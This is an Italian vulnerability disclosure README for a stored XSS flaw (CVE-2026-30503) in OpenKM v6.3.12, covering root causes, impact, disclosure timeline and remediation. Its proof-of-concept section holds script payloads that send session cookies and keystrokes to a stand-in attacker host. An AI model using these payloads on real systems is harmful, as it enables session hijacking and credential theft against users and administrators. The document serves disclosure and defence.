
Divulgazione dettagliata di CVE-2026-30503, una vulnerabilità XSS memorizzata in OpenKM v6.3.12. Include analisi delle cause profonde, payload PoC, valutazione dell'impatto e raccomandazioni di remediation per ricercatori di sicurezza e penetration tester.
Scoperto e segnalato da Dharmendra Kumar — Ricercatore di Sicurezza
Cybersicurezza | Penetration Testing | Ricerca di Vulnerabilità | Divulgazione Responsabile
Questo repository documenta la divulgazione responsabile di CVE-2026-30503, una vulnerabilità di Cross-Site Scripting Memorizzata (Stored XSS) identificata in OpenKM v6.3.12 — un sistema di gestione documentale open-source ampiamente utilizzato in ambienti aziendali.
La vulnerabilità consente a un attaccante autenticato di iniettare JavaScript malevolo persistente nell'applicazione, che viene eseguito nel contesto del browser di qualsiasi utente (inclusi gli amministratori) che successivamente visualizza il contenuto interessato.
⚠️ Gravità: Alta | Vettore d'Attacco: Rete | Privilegi Richiesti: Bassi | Interazione Utente: Necessaria
| Campo | Dettagli |
|---|---|
| ID CVE | CVE-2026-30503 |
| Prodotto | OpenKM |
| Versione Affetta | v6.3.12 |
| Classe di Vulnerabilità | Cross-Site Scripting Memorizzata (Stored XSS) |
| CWE | CWE-79: Neutralizzazione Impropria dell'Input Durante la Generazione di Pagine Web |
| Vettore CVSS | CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N |
| Ricercatore | Dharmendra Kumar |
| Tipo di Divulgazione | Responsabile / Coordinata |
OpenKM è un sistema di gestione documentale (DMS) gratuito e open-source che fornisce un'interfaccia web per la gestione, l'audit e la distribuzione di documenti aziendali. È utilizzato da aziende, enti governativi e istituzioni educative a livello globale.
v6.3.12Sono state scoperte multiple vulnerabilità di Cross-Site Scripting Memorizzata (Stored XSS) in OpenKM v6.3.12. Un attaccante con accesso autenticato a bassi privilegi può iniettare payload JavaScript arbitrari in uno o più campi di input. Questi payload vengono memorizzati permanentemente nel backend dell'applicazione e eseguiti automaticamente ogni volta che un utente — inclusi gli amministratori — accede alla pagina o al componente interessato.
A differenza dell'XSS Riflesso, che richiede che la vittima clicchi su un link costruito ad hoc, i payload di Stored XSS sono incorporati nell'applicazione stessa, rendendoli significativamente più pericolosi e persistenti.
La vulnerabilità deriva da tre debolezze combinate nella pipeline di gestione dell'input dell'applicazione:
Input Utente ──► [NESSUNA Validazione] ──► Memorizzato nel DB ──► [NESSUN Codifica di Output] ──► Visualizzato nel Browser ──► XSS Eseguito
| Debolezza | Descrizione |
|---|---|
| ❌ Validazione Input Mancante | L'applicazione non limita né sanifica i caratteri speciali (<, >, ", ', ;) nei campi forniti dall'utente |
| ❌ Codifica Output Mancante | I valori memorizzati vengono visualizzati direttamente nell'HTML senza codifica in entità HTML |
| ❌ Rendering DOM Non Sicuro | I dati forniti dall'utente vengono incorporati nel contesto DOM senza CSP o controlli di sanificazione |
Uno sfruttamento riuscito di questa vulnerabilità può portare a:
| Rischio | Descrizione |
|---|---|
| 🍪 Hijacking della Sessione | Rubare token di sessione autenticati tramite esfiltrazione di document.cookie |
| 👤 Compromissione dell'Account | Compromettere account della vittima, inclusi account amministratore |
| 🔐 Raccolta di Credenziali | Iniettare moduli di phishing per catturare credenziali di accesso |
| 📤 Esfiltrazione di Dati | Estrarre silenziosamente documenti sensibili o metadati dal DMS |
| ⚙️ Azioni Non Autorizzate | Eseguire operazioni privilegiate per conto della vittima (eliminare/modificare documenti) |
| 🎯 Targeting dell'Amministratore | Il payload viene eseguito nel pannello di amministrazione quando un amministratore esamina il contenuto |
| 🔄 Propagazione del Worm | Un payload XSS auto-replicante può diffondersi tra gli utenti |
⚠️ Disclaimer: Questo PoC è condiviso strettamente per scopi educativi e di ricerca sulla sicurezza secondo i principi della divulgazione responsabile. Non utilizzarlo contro sistemi di cui non si possiede la proprietà o senza esplicito permesso scritto per testarli.
// PoC di base — dimostra l'esecuzione dello script
<script>alert('CVE-2026-30503 - XSS di Dharmendra Kumar')</script>
// Esfiltrazione del token di sessione
<script>fetch('https://attacker.example.com/steal?c='+document.cookie)</script>
// Iniezione keylogger
<script>document.onkeypress=function(e){fetch('https://attacker.example.com/log?k='+e.key)}</script>
<script>alert(document.cookie)</script>| Raccomandazione | Implementazione |
|---|---|
| ✅ Validazione Input | Whitelist dei caratteri consentiti; rifiutare o rimuovere i caratteri speciali HTML su tutti gli input utente |
| ✅ Codifica Output | Usare codifica HTML context-aware (es. OWASP Java Encoder) prima di visualizzare i dati in HTML |
| ✅ Content Security Policy (CSP) | Implementare un'intestazione CSP rigorosa: Content-Security-Policy: script-src 'self' |
| ✅ Cookie HTTPOnly e Sicuri | Impostare i flag HttpOnly e Secure su tutti i cookie di sessione per impedire l'accesso JS |
| ✅ Utilizzare Librerie di Sicurezza | Integrare OWASP AntiSamy o DOMPurify per la sanificazione HTML |
| ✅ Revisione del Codice di Sicurezza | Controllare tutti i percorsi di rendering per dati non sanificati controllati dall'utente |
| ✅ Aggiornamento | Applicare l'ultima patch fornita dal venditore o aggiornare a una versione corretta |
| Data | Evento |
|---|---|
| 🔍 Scoperta | Vulnerabilità identificata durante la valutazione della sicurezza di OpenKM v6.3.12 |
| 📧 Notifica al Venditore | Report iniziale di divulgazione inviato al team di sicurezza OpenKM |
| 🤝 Riconoscimento del Venditore | Il team OpenKM ha riconosciuto il report |
| 📝 Assegnazione CVE | CVE-2026-30503 assegnato dal Programma CVE |
| 🌐 Divulgazione Pubblica | Divulgazione pubblica coordinata dopo il periodo di remediation |
Questa vulnerabilità è stata divulgata seguendo le migliori pratiche di divulgazione responsabile, coordinando con il venditore e il Programma CVE prima del rilascio pubblico.
Ricercatore di Sicurezza | Penetration Tester | Cacciatore di Bug
Dharmendra Kumar è un ricercatore di sicurezza informatica indipendente specializzato in sicurezza delle applicazioni web, penetration testing e divulgazione responsabile delle vulnerabilità. Con un focus sull'identificazione di difetti di sicurezza reali in software ampiamente utilizzati, il suo lavoro contribuisce a migliorare la postura di sicurezza delle applicazioni utilizzate a livello globale.
Aree di Competenza:
Connettiti:
Questo repository è inteso esclusivamente per scopi educativi e informativi. I dettagli della vulnerabilità e i payload del proof-of-concept qui condivisi sono pubblicati in conformità con i principi della divulgazione responsabile. L'autore non approva, incoraggia né si assume la responsabilità per qualsiasi uso non autorizzato di queste informazioni. Ottenere sempre esplicito permesso scritto prima di condurre test di sicurezza su qualsiasi sistema.
Un ringraziamento speciale a:
⭐ Se questa ricerca è stata utile, considera di mettere una stella a questo repository.
© 2026 Dharmendra Kumar — Tutti i Diritti Riservati